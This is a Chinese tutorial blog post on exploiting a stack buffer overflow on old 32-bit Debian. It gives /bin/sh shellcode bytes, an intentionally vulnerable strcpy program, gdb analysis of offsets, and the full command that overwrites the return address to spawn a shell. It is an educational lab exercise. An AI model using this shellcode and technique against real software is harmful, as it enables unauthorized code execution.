黑客攻防技术宝典 系统篇(利用漏洞获得根特权)

0x01 环境信息


OS:Debian3r4

GDB:GNU gdb 6.3-debian

GCC:gcc version 3.3.5 (Debian 1:3.3.5-13)

0x02 代码


shellcode:需要注入到程序中的代码指令

"\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46"
"\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1"
"\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"

victim.c

int main(int argc,char *argv[])
{
    char little_array[512];
    if (argc > 1)
        strcpy(little_array,argv[1]);
    printf("str:%s\n", little_array);
}

0x03 流程


要执行注入的程序,就改变代码执行的流程,和前面文章讲的,可以通过栈溢出来覆盖返回地址,从而达到跳转到指定地址执行已经输入的代码指令。

简化的流程可以用图做如下表示:

提权漏洞.jpg

所以要执行shellcode最重要的两个步骤就是

  1. 覆盖返回指令地址
  2. 恶意指令的起始地址

只要做到了这两点就可以成功执行shellcode

根据0x02中的代码,来尝试执行shellcode,下面是我的结果,当把指令输入进去之后成功跳转到了shellcode里去执行。

shellcode.gif

0x04 调试


yerx@debian:~$ gdb --args ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf")
GNU gdb 6.3-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>:    push   %ebp
0x080483c5 <main+1>:    mov    %esp,%ebp
0x080483c7 <main+3>:    sub    $0x218,%esp
0x080483cd <main+9>:    and    $0xfffffff0,%esp
0x080483d0 <main+12>:   mov    $0x0,%eax
0x080483d5 <main+17>:   sub    %eax,%esp
0x080483d7 <main+19>:   cmpl   $0x1,0x8(%ebp)
0x080483db <main+23>:   jle    0x80483f7 <main+51>
0x080483dd <main+25>:   mov    0xc(%ebp),%eax
0x080483e0 <main+28>:   add    $0x4,%eax
0x080483e3 <main+31>:   mov    (%eax),%eax
0x080483e5 <main+33>:   mov    %eax,0x4(%esp)
0x080483e9 <main+37>:   lea    0xfffffdf8(%ebp),%eax
0x080483ef <main+43>:   mov    %eax,(%esp)
0x080483f2 <main+46>:   call   0x80482e8 <_init+72>
0x080483f7 <main+51>:   lea    0xfffffdf8(%ebp),%eax
0x080483fd <main+57>:   mov    %eax,0x4(%esp)
0x08048401 <main+61>:   movl   $0x8048524,(%esp)
0x08048408 <main+68>:   call   0x80482d8 <_init+56>
0x0804840d <main+73>:   leave
0x0804840e <main+74>:   ret
0x0804840f <main+75>:   nop
End of assembler dump.
(gdb)

先看一下gdb反汇编的到的main函数的汇编代码,通过测试输入不同的长度的字符串直到出现栈溢出,就可以找到为数组分配的空间大小,因为涉及到字节对其所以可能并不是512个字节,这里输入了524个字符出现了栈溢出,通过分析

0x080483f7这条指令也可以看出,为数组分配了0x208个字节的空间,保存数组内容。所以524个字节必然覆盖ebp,所以我们可以使用524个字节进行填充字符,然后再用4个字节指定为我们shellcode指令地址的开头,这里就是输入字符的起始地址,就是ebp - 0x208这个地址,所以的出我们的输入值是

\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf

前40个字节为shellcode指令,中间%0484x为填充字符,\x30\xf7\xff\xbf为返回指令的地址(可能有不同)。

0x05提取步骤


  1. 先确定栈溢出需要输入的字符长度,通过分析知道是524个字节。

  2. shellcode是40个字节,所以需要填充484个字节,然后还需要4个字节覆盖返回地址。

  3. 查找main函数的ebp地址,找到shellcode的起始地址。

    通过如下函数找到起始的ebp的地址:

    unsigned long find_start(void)
    {
        __asm__("movl %esp, %eax");
    }
    
    int main()
    {
        printf("0x%x\n", find_start());
    }
    
    
    

    得到0xbffffb38,shellcode肯定比这个ebp的地址要低,所以先任意找一个小于0xbffffb38的地址,比如:0xbffff948。

    使用如下命令:

    yerx@debian:~$ gdb --args ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x48\xf9\xff\xbf")
    
    

    设置断点 b *0x0804841e

    (gdb) disassemble main
    Dump of assembler code for function main:
    0x080483f9 <main+0>:    push   %ebp
    0x080483fa <main+1>:    mov    %esp,%ebp
    0x080483fc <main+3>:    sub    $0x218,%esp
    0x08048402 <main+9>:    and    $0xfffffff0,%esp
    0x08048405 <main+12>:   mov    $0x0,%eax
    0x0804840a <main+17>:   sub    %eax,%esp
    0x0804840c <main+19>:   cmpl   $0x1,0x8(%ebp)
    0x08048410 <main+23>:   jle    0x804842c <main+51>
    0x08048412 <main+25>:   mov    0xc(%ebp),%eax
    0x08048415 <main+28>:   add    $0x4,%eax
    0x08048418 <main+31>:   mov    (%eax),%eax
    0x0804841a <main+33>:   mov    %eax,0x4(%esp)
    0x0804841e <main+37>:   lea    0xfffffdf8(%ebp),%eax
    0x08048424 <main+43>:   mov    %eax,(%esp)
    0x08048427 <main+46>:   call   0x80482e8 <_init+72>
    0x0804842c <main+51>:   leave
    0x0804842d <main+52>:   ret
    End of assembler dump.
    (gdb) b *0x0804841e
    Breakpoint 1 at 0x804841e: file victim.c, line 14.
    
    

    确定main函数ebp

    (gdb) i r ebp
    ebp            0xbffff938       0xbffff938
    
    

    确定shellcode起始地址

    0xbffff938 - 0x208 = 0xBFFFF730

    修改输入参数,把跳转地址\x48\xf9\xff\xbf变为\x30\xf7\xff\xbf。成功执行了shellcode。如下所示:

    yerx@debian:~$ ./victim $(printf "\xeb\x1a\x5e\x31\xc0\x88\x46\x07\x8d\x1e\x89\x5e\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\xe8\xe1\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68%0484x\x30\xf7\xff\xbf")
    sh-2.05b$
    
    

参考

http://starlight.ink/2017/12/22/linux中aslr、栈保护、dep的开启与关闭/

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值